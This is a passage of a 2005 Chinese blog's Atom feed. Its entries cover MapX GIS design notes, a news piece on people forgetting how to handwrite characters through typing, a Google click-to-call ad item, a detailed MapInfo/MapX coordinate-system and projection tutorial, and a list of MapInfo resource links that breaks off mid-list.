<P>3、 不同图形不同颜色表现 <BR>（1）更新样式&nbsp;&nbsp; 再结合临时图层就可以很好解决（使用图层刷新）。而且刷新时不会引起整个Map对象的刷新（屏幕抖动） <BR>（2）专题图&nbsp;&nbsp; 存在更新属性值后不能实时刷新专题图的问题。 <BR>4、 数据绑定 <BR>对未绑定的属性集合使用 MainMap.Datasets.ADD <BR>地图集合和属性集合为一个数据集合的不可分割的两个部分 <BR>5、 系统性能 <BR>速度是否为用户所接受、系统是否稳定（界面要求）、修改数据数据的时候是否存在数据一致性维护问题、造价是否合理。 <BR>（1）速度：使用数据分布可以较好地解决：地图数据：地形图数据以文件形式存放，业务地图数据存放在空间数据库中；属性数据：全部存放在大型数据库中。 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>（2）系统是否稳定（界面要求）：A、字段全部用英文，B、地图拓扑关系在进入系统以前进行必要的验证，C、文件地图数据中字段数减少到最小，可使访问属性频率大大减少，可有效保证其他用户访问时不会大量出现访问拒绝的现象；D、数据提交时尽可能采用事务机制：事务开始：&nbsp; Lyr.BeginAccess，事务结束：Lyr.EndAccess；E、数据修改提交时尽可能采用批量提交。至于界面要求，应主要满足从地图对象获取相关的要求。 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>（3）数据一致维护：遵循图元优先的原则。图形对象必须首先存在，其他相关信息在此基础上建立。注意： <BR>&sup2; 修改时应先修改地图对象，后提交属性信息 <BR>&sup2; 删除时应先删除其他信息，最后删除图形信息 <BR>（4）造价&nbsp; 这里主要指平台费用。A、现有数据格式，B、功能要求：空间分析是否复杂、地图图层是否分散、系统中地图输出的质量要求、系统中统计分析复杂程度是否较繁琐、直接的平台使用用户数（并发数）。</P>
<P>&nbsp;</P>
<P>摘:http://www.gis8.com/gaindetail.asp?ID=104</P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=170" /> 
	  <id>http://www.openx.cn/default.asp?id=170</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[总用电脑提笔忘字 专家为下一代人书写担忧]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-12-05T08:26:51+08:00</updated>
	  <published>2005-12-05T08:26:51+08:00</published>
		  <summary type="html"><![CDATA[如果你经常在电脑上写作、写材料或聊天，你是否有过这样的现象：以前用手写字很少会忘字，可现在用电脑键盘录入，熟悉的字在电脑字库里一眼能认出来，字和词组飞快地“降落”在电脑屏幕上，而提笔在纸上写时，许多字却印象模糊，以至写不出来。 <BR>
<P>&nbsp;&nbsp;&nbsp; 记者通过网络聊天及电话采访等方式，从百余网友中证实：这一现象是普遍存在的而且大有蔓延之势。 </P><BR>
<P>　　北京市燕山办事处办公室杨叶辉科长对记者说，因为工作需要，他经常使用拼音输入法在电脑上写材料，偶尔用笔在纸上写时，很多原本熟悉的字竟变得模糊起来，写不完整，只得到电脑中查看或翻阅字典。这一现象让他有些恐慌。经过思考，他觉得使用拼音输入法的人一旦对电脑产生很强的依赖性，就会对字从“会写”退化到“只能辨认”。 </P><BR>
<P>　　这是一种简单的“健忘”现象吗？一些编辑、作家、语言专家的答案是否定的。 </P><BR>
<P>　　人民文学出版社编辑颜炼军告诉记者，他也遇到了这种情况，也不解和恐慌过。为了消除这种现象，最近他正在编译20余万字的书，全部采用手写，然后再键盘录入。他认为，用拼音输入法的人是从拼音入手的，而手写的人是从部首入手的，这样，人对字的认知方式就发生了转变，对形的认知能力渐渐退化，每次使用键盘录入时，首先印入使用者脑海的是音，久而久之，就产生了“忘字”现象。除了忘字外，字写起来也难看了。 </P><BR>
<P>　　用五笔输入法是否也会出现这种现象呢？ </P><BR>
<P>　　《宁夏人大》杂志编辑部的杨坤告诉记者，他用手写有十五年，用五笔输入法五年，拆字成为习惯后，有些字在手写时竟写不出来，或写成了“残字”。他分析认为，五笔输入法虽然是从字的结构入手，但五笔的拆字方法常常改变以往手写的笔画顺序，也会造成“忘字”后果。 </P><BR>
<P>　　诗人西渡告诉记者，电子书写时代来临，意味着新的书写方式使手写方法渐渐成为远去的艺术，它使写作成为名副其实的码字工作，大部分写字都集中到屏幕上，手稿渐渐成为旧时作家留下的神话。最重要的是，电脑程序和人的思维一道介入到写作的过程中。这种书写方式的变革将渐渐影响和改变人类与文字的关系，改变我们的阅读和写作习惯。 </P><BR>
<P>　　评论家、小说家、中央民族大学副教授敬文东认为，电脑书写给人们带来了很多方便，但也存在明显的弊端。令他担忧的是，在电脑哺育下长大的一代会不会有更严重的书写问题？他希望语言文字学家在这些方面做一些调查研究。 </P><BR>
<P>　　银川市田家炳中学高三学生刘丽容承认自己有过这种感受，她说自己的打字速度飞快，几乎在不到一秒的时间内就能判断字的对错，然而手写作业时常会对有些字模模糊糊。 </P><BR>
<P>　　北京大学教授、国家语言文字工作委员会咨询委员会委员陆俭明电话中告诉记者，这种现象是存在的，外国也存在，可能中国还没有达到非常严重的程度。目前国家语言文字工作委员会在这方面的研究是空白，非常有必要作为一项课题及时研究。对电脑哺育下的孩子，非常有必要加强书面教学，小学和初中学生绝对不能递交电子版作业，即使用电脑书写出来，也最好用笔再抄一遍，这样将来才有可能使孩子接受更高更全面的教育。</P>
<P>&nbsp;</P>
<P>----------------------------</P>
<P>发现现在自己写字也是这样哦~拿起笔来有些字居然忘记怎么写了~寒啦!</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=169" /> 
	  <id>http://www.openx.cn/default.asp?id=169</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[遏制艾滋,履行承诺]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-12-01T08:27:47+08:00</updated>
	  <published>2005-12-01T08:27:47+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]attachments/azb.gif[/img]</P>
<P>2005世界艾滋病日</P>
<P><A href="http://news.163.com/special/0/0001139T/05aids.html">http://news.163.com/special/0/0001139T/05aids.html</A></P>
<P>来自网易</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=168" /> 
	  <id>http://www.openx.cn/default.asp?id=168</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Google打算推出具有通话功能的广告]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-29T09:43:33+08:00</updated>
	  <published>2005-11-29T09:43:33+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://www.google.com/images/logo_sm.gif[/img]</P>
<P>&nbsp;</P>
<P>Google已涉足搜索引擎广告业务的一个新领域：凭借电话将广告商与潜在客户联系在一起。&nbsp; <BR><BR>分析师和竞争对手称，该项名为“点击通话”(Click&nbsp;to&nbsp;Call)的服务，针对的似乎是众多小型企业，它们没有自己的网站，因而无法使用Google现有的网上广告服务。&nbsp; <BR><BR>Google网站上的一个贴子透露，该公司决定测试基于电话的广告方式，与其它大型网络公司近几个月来的一系列动作不谋而合：在这一预计将获得迅速发展的网上广告业务领域，它们纷纷采取行动。　&nbsp; <BR><BR>据研究公司Kelsey&nbsp;Group称，尽管目前通过语音电话连接网络用户和广告客户的业务尚处于初期阶段，但该项业务的市场规模到2009年可能达到14亿美元至40亿美元。 <BR></P>
<P>摘:http://www.pcpchina.com/news/list.asp?id=11182</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=167" /> 
	  <id>http://www.openx.cn/default.asp?id=167</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MapInfo中如何使用地理坐标系]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-24T16:10:41+08:00</updated>
	  <published>2005-11-24T16:10:41+08:00</published>
		  <summary type="html"><![CDATA[<P>MapX中的坐标系定义与转换<BR>GIS中的坐标系定义是GIS系统的基础，正确定义GIS系统的坐标系非常重要。<BR>1. 椭球体、基准面及地图投影<BR>GIS中的坐标系定义由基准面和地图投影两组参数确定，而基准面的定义则由特定椭球体及其对应的转换参数确定，因此欲正确定义GIS系统坐标系，首先必须弄清地球椭球体(Ellipsoid)、大地基准面(Datum)及地图投影(Projection)三者的基本概念及它们之间的关系。<BR>基准面是利用特定椭球体对特定地区地球表面的逼近，因此每个国家或地区均有各自的基准面，我们通常称谓的北京54坐标系、西安80坐标系实际上指的是我国的两个大地基准面。我国参照前苏联从1953年起采用克拉索夫斯基(Krassovsky)椭球体建立了我国的北京54坐标系，1978年采用国际大地测量协会推荐的1975地球椭球体建立了我国新的大地坐标系--西安80坐标系，目前大地测量基本上仍以北京54坐标系作为参照，北京54与西安80坐标之间的转换可查阅国家测绘局公布的对照表。 WGS1984基准面采用WGS84椭球体，它是一地心坐标系，即以地心作为椭球体中心，目前GPS测量数据多以WGS1984为基准。<BR>上述3个椭球体参数如下：<BR>椭球体 Mapinfo中代号 年代 长半轴 短半轴 1/扁率 <BR>Krassovsky 3 1940 6378245 6356863 298.3<BR>IAG 75 31 1975 6378140 6356755 298.25722101<BR>WGS 84 28 1984 6378137.000 6356752.314 298.257223563<BR>椭球体与基准面之间的关系是一对多的关系，也就是基准面是在椭球体基础上建立的，但椭球体不能代表基准面，同样的椭球体能定义不同的基准面，如前苏联的Pulkovo 1942、非洲索马里的Afgooye基准面都采用了Krassovsky椭球体，但它们的基准面显然是不同的。<BR>地图投影是将地图从球面转换到平面的数学变换，如果有人说：该点北京54坐标值为X=4231898,Y=21655933，实际上指的是北京54基准面下的投影坐标，也就是北京54基准面下的经纬度坐标在直角平面坐标上的投影结果。<BR>2. GIS中基准面的定义与转换<BR>虽然现有GIS平台中都预定义有上百个基准面供用户选用，但均没有我们国家的基准面定义。假如精度要求不高，可利用前苏联的Pulkovo 1942基准面(Mapinfo中代号为1001)代替北京54坐标系；假如精度要求较高，如土地利用、海域使用、城市基建等GIS系统，则需要自定义基准面。<BR>GIS系统中的基准面通过当地基准面向WGS1984的转换7参数来定义，转换通过相似变换方法实现，具体算法可参考科学出版社1999年出版的《城市地理信息系统标准化指南》第76至86页。假设Xg、Yg、Zg表示WGS84地心坐标系的三坐标轴，Xt、Yt、Zt表示当地坐标系的三坐标轴，那么自定义基准面的7参数分别为：三个平移参数ΔX、ΔY、ΔZ表示两坐标原点的平移值；三个旋转参数εx、εy、εz表示当地坐标系旋转至与地心坐标系平行时，分别绕Xt、Yt、Zt的旋转角；最后是比例校正因子，用于调整椭球大小。<BR>MapX中基准面定义方法如下：<BR>Datum.Set(Ellipsoid, ShiftX, ShiftY, ShiftZ, RotateX, RotateY, RotateZ, ScaleAdjust, PrimeMeridian) <BR>其中参数： Ellipsoid为基准面采用的椭球体；<BR>ShiftX, ShiftY, ShiftZ为平移参数；<BR>RotateX, RotateY, RotateZ为旋转参数；<BR>ScaleAdjust为比例校正因子，以百万分之一计；<BR>PrimeMeridian为本初子午线经度，在我国取0，表示经度从格林威治起算。<BR>美国国家测绘局(National Imagery and Mapping Agency)公布了世界大多数国家的当地基准面至WGS1984基准面的转换3参数(平移参数)，可从&nbsp; <A href="http://164.214.2.59/GandG/wgs84dt/dtp.html">http://164.214.2.59/GandG/wgs84dt/dtp.html</A> 下载，其中包括有香港Hong Kong 1963基准面、台湾 Hu-Tzu-Shan 基准面的转换3参数，但是没有中国大陆的参数。<BR>实际工作中一般都根据工作区内已知的北京54坐标控制点计算转换参数，如果工作区内有足够多的已知北京54与WGS84坐标控制点，可直接计算坐标转换的7参数或3参数；当工作区内有3个已知北京54与WGS84坐标控制点时，可用下式计算WGS84到北京54坐标的转换参数(A、B、C、D、E、F)：x54 = AX84 + BY84 + C，y54 = DX84 + EY84 + F，多余一点用作检验；在只有一个已知控制点的情况下(往往如此)，用已知点的北京54与WGS84坐标之差作为平移参数，当工作区范围不大时精度也足够了。<BR>从Mapinfo中国的URL( <A href="http://www.mapinfo.com.cn/download">http://www.mapinfo.com.cn/download</A>)可下载到包含北京54、西安80坐标系定义的Mapinfow.prj文件，其中定义的北京54基准面参数为：(3,24,-123,-94,-0.02,0.25,0.13,1.1,0)，西安80基准面参数为：(31,24,-123,-94,-0.02,0.25,0.13,1.1,0)，文件中没有注明其参数的来源，我发现它们与Mapinfo参考手册附录G"定义自定义基准面"中的一个例子所列参数相同，因此其可靠性值得怀疑，尤其从西安80与北京54采用相同的7参数来看，至少西安80的基准面定义肯定是不对的。因此，当系统精度要求较高时，一定要对所采用的参数进行检测、验证，确保坐标系定义的正确性。<BR>3. GIS中地图投影的定义<BR>我国的基本比例尺地形图(1:5千，1:1万，1:2.5万，1:5万，1:10万，1:25万，1:50万，1:100万)中，大于等于50万的均采用高斯-克吕格投影(Gauss-Kruger)，又叫横轴墨卡托投影(Transverse Mercator)；小于50万的地形图采用正轴等角割园锥投影，又叫兰勃特投影(Lambert Conformal Conic)；海上小于50万的地形图多用正轴等角园柱投影，又叫墨卡托投影(Mercator)，我国的GIS系统中应该采用与我国基本比例尺地形图系列一致的地图投影系统。 <BR>在MapX中坐标系定义由基准面、投影两部分参数组成，方法如下：<BR>CoordSys.Set(Type, [Datum], [Units], [OriginLongitude], [OriginLatitude], <BR>[StandardParallelOne], [StandardParallelTwo], [Azimuth], [ScaleFactor], <BR>[FalseEasting], [FalseNorthing], [Range], [Bounds], [AffineTransform]) <BR>其中参数：Type表示投影类型，Type为1时地图坐标以经纬度表示，它是必选参数，它后面的参数都为可选参数；<BR>Datum为大地基准面对象，如果采用非地球坐标(NonEarth)无需定义该参数；<BR>Units为坐标单位，如Units为7表示以米为单位；<BR>OriginLongitude、OriginLatitude分别为原点经度和纬度；<BR>StandardParallelOne、StandardParallelTwo为第一、第二标准纬线；<BR>Azimuth为方位角，斜轴投影需要定义该参数；<BR>ScaleFactor为比例系数；<BR>FalseEasting, FalseNorthing为东伪偏移、北伪偏移值；<BR>Range为地图可见纬度范围；<BR>Bounds为地图坐标范围，是一矩形对象，非地球坐标(NonEarth)必须定义该参数； <BR>AffineTransform为坐标系变换对象。<BR>相应高斯-克吕格投影、兰勃特投影、墨卡托投影需要定义的坐标系参数序列如下：<BR>高斯-克吕格：投影代号(Type)，基准面(Datum)，单位(Unit)，<BR>中央经度(OriginLongitude)，原点纬度(OriginLatitude)，<BR>比例系数(ScaleFactor)，<BR>东伪偏移(FalseEasting)，北纬偏移(FalseNorthing)<BR>兰勃特: 投影代号(Type)，基准面(Datum)，单位(Unit)，<BR>中央经度(OriginLongitude)，原点纬度(OriginLatitude)，<BR>标准纬度1(StandardParallelOne)，标准纬度2(StandardParallelTwo)，<BR>东伪偏移(FalseEasting)，北纬偏移(FalseNorthing)<BR>墨卡托: 投影代号(Type)，基准面(Datum)，单位(Unit)，<BR>原点经度(OriginLongitude)，原点纬度(OriginLatitude)，<BR>标准纬度(StandardParallelOne)<BR>在城市GIS系统中均采用6度或3度分带的高斯-克吕格投影，因为一般城建坐标采用的是6度或3度分带的高斯-克吕格投影坐标。高斯-克吕格投影以6度或3度分带，每一个分带构成一个独立的平面直角坐标网，投影带中央经线投影后的直线为X轴(纵轴，纬度方向)，赤道投影后为Y轴(横轴，经度方向)，为了防止经度方向的坐标出现负值，规定每带的中央经线西移500公里，即东伪偏移值为500公里，由于高斯-克吕格投影每一个投影带的坐标都是对本带坐标原点的相对值，所以各带的坐标完全相同，因此规定在横轴坐标前加上带号，如(4231898,21655933)其中21即为带号，同样所定义的东伪偏移值也需要加上带号，如21带的东伪偏移值为21500000米。<BR>假如你的工作区位于21带，即经度在120度至126度范围，该带的中央经度为123度，采用Pulkovo 1942基准面，那么定义6度分带的高斯-克吕格投影坐标系参数为：(8，1001，7，123，0，1，21500000，0)。<BR>那么当精度要求较高，实测数据为WGS1984坐标数据时，欲转换到北京54基准面的高斯-克吕格投影坐标，如何定义坐标系参数呢？你可选择WGS 1984(Mapinfo中代号104)作为基准面，当只有一个已知控制点时(见第2部分)，根据平移参数调整东伪偏移、北纬偏移值实现WGS84到北京54的转换，如:(8，104，7，123，0，1，21500200，-200)，也可利用 AffineTransform坐标系变换对象,此时的转换系数(A、B、C、D、E、F)中A、B、D、E为0，只有X、Y方向的平移值C、F ；当有3个已知控制点时，可利用得到的转换系数(A、B、C、D、E、F)定义 AffineTransform坐标系变换对象，实现坐标系的转换，如：(8，104，7，123，0，1，21500000，0，map.AffineTransform)，其中AffineTransform定义为AffineTransform.set(7，A、B、C、D、E、F)(7表示单位米)；当然有足够多已知控制点时，直接求定7参数自定义基准面就行了。</P>
<P><BR>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=166" /> 
	  <id>http://www.openx.cn/default.asp?id=166</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[数百个MapInfo开发资料下载]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-24T16:01:04+08:00</updated>
	  <published>2005-11-24T16:01:04+08:00</published>
		  <summary type="html"><![CDATA[<TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellSpacing=1 cellPadding=3 width="96%" border=0>
<TBODY>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0>
<TBODY>
<TR bgColor=#ffffff>
<TD height=0>
<P>1.MapInfo中如何使用地理坐标系：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=437" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=437</FONT></A><BR>2.MapBasic常见问题及解答：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1453" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1453</FONT></A><BR>3.五四和西安80的两种坐标系的定义参数：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=487" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=487</FONT></A><BR>4.在mapinfo中添加投影在mapinfo中添加投影：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1191" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1191</FONT></A><BR>5.MapInfo矢量化栅格地图：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1868" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1868</FONT></A><BR>6.自编《MaoInfo 7.0 CN 教程》之MapInfo概述：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2116" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2116</FONT></A><BR>7.自编《MaoInfo 7.0 CN 教程》之MapInfo界面：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2121" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2121</FONT></A><BR>8.自编《MaoInfo 7.0 CN 教程》之MapInfo安装：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2117" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2117</FONT></A><BR>9.自编《MaoInfo 7.0 CN 教程》之MapInfo的工作空间：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2119" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2119</FONT></A><BR>10.自编《MaoInfo 7.0 CN 教程》之MapInfo启动方式：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2120" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2120</FONT></A><BR>11.mapinfo 重点及难点详解：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=994" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=994</FONT></A><BR>12.MAPINFO (5.0) 上机实习指导：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1457" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1457</FONT></A><BR>13.mapinfo7参考手册：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1452" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1452</FONT></A><BR>14.MapBasic7.0用户手册：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=472" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=472</FONT></A><BR>15.mb学习教程，API介绍：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1773" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1773</FONT></A><BR>16.R2V常见问题解答：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1706" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1706</FONT></A><BR>17.mapinfo的扩展快捷键：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1987" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1987</FONT></A><BR>18.mapx\MAPX资料\mapinfo重点难点讲解：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1200" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1200</FONT></A><BR>19.MapInfo中文版的用户手册：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1961" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=1961</FONT></A><BR>20.MIF格式定义规范：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2010" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2010</FONT></A><BR>21.MapInfo自定义符号详解：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=430" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=430</FONT></A><BR>22.MAPINFO教学：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=478" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=478</FONT></A><BR>23.地理信息系统与Mapinfo应用：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=793" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=793</FONT></A><BR>24.MapBaSiC语言及其应用：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=796" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=796</FONT></A><BR>25.用MapBasic建立系统：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=797" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=797</FONT></A><BR>26.MapInfo Professional7.5新增功能介绍：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=411" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=411</FONT></A><BR>27.DXF平面投影图形转成Mapinfo矢量图的技术方案：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=459" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=459</FONT></A><BR>28.MapInfo系列正版产品License用法：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=412" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=412</FONT></A><BR>29.MapInfo建表字段命名规范：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2318" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2318</FONT></A><BR>30.mapinfo二次开发回叫机制的应用（论文）：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2550" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=3&ID=2550</FONT></A></P>
<P>MapInfo MapX板块(25个) </P>
<P>1.MapX中文培训教材：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=552" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=552</FONT></A><BR>2.mapx汉化文件：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=627" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=627</FONT></A><BR>3.MapX应用中文讲义：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=498" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=498</FONT></A><BR>4.MAPX中添加自制符号的方法：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=661" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=661</FONT></A><BR>5.组件式GIS与MapX：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=802" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=802</FONT></A><BR>6.MapX 样式的属性方法总结：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=476" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=476</FONT></A><BR>7.MapX应用讲义：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=971" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=971</FONT></A><BR>8.关于数据绑定：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1426" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1426</FONT></A><BR>9.mapx教程：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1609" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1609</FONT></A><BR>10.c#+MAPX的资料（1）：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=723" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=723</FONT></A><BR>11.c#+MAPX的资料（2）：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=724" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=724</FONT></A><BR>12.MapX 样式的详细解释：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardid=4&id=1735" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardid=4&id=1735</FONT></A><BR>13.mapx学习资料：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=626" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=626</FONT></A><BR>14.GIS考试圣经（来源于网上）：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1318" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1318</FONT></A><BR>15.MapX中文应用开发讲义（来源于网上）：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1319" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1319</FONT></A><BR>16.中文的资料：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1052" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1052</FONT></A><BR>17.视野（Map.Zoom）和比例尺之间的换算公式：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1212" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1212</FONT></A><BR>18.mapx的打包：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=621" target=_blank><FONT color=#000000>http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=621</FONT></A><BR>19.MapX自带的两个应用程序的说明：<A href="http://www.mygis.com.cn/forum/dispbbs.asp?boardID=4&ID=1196" target=_blank><FONT 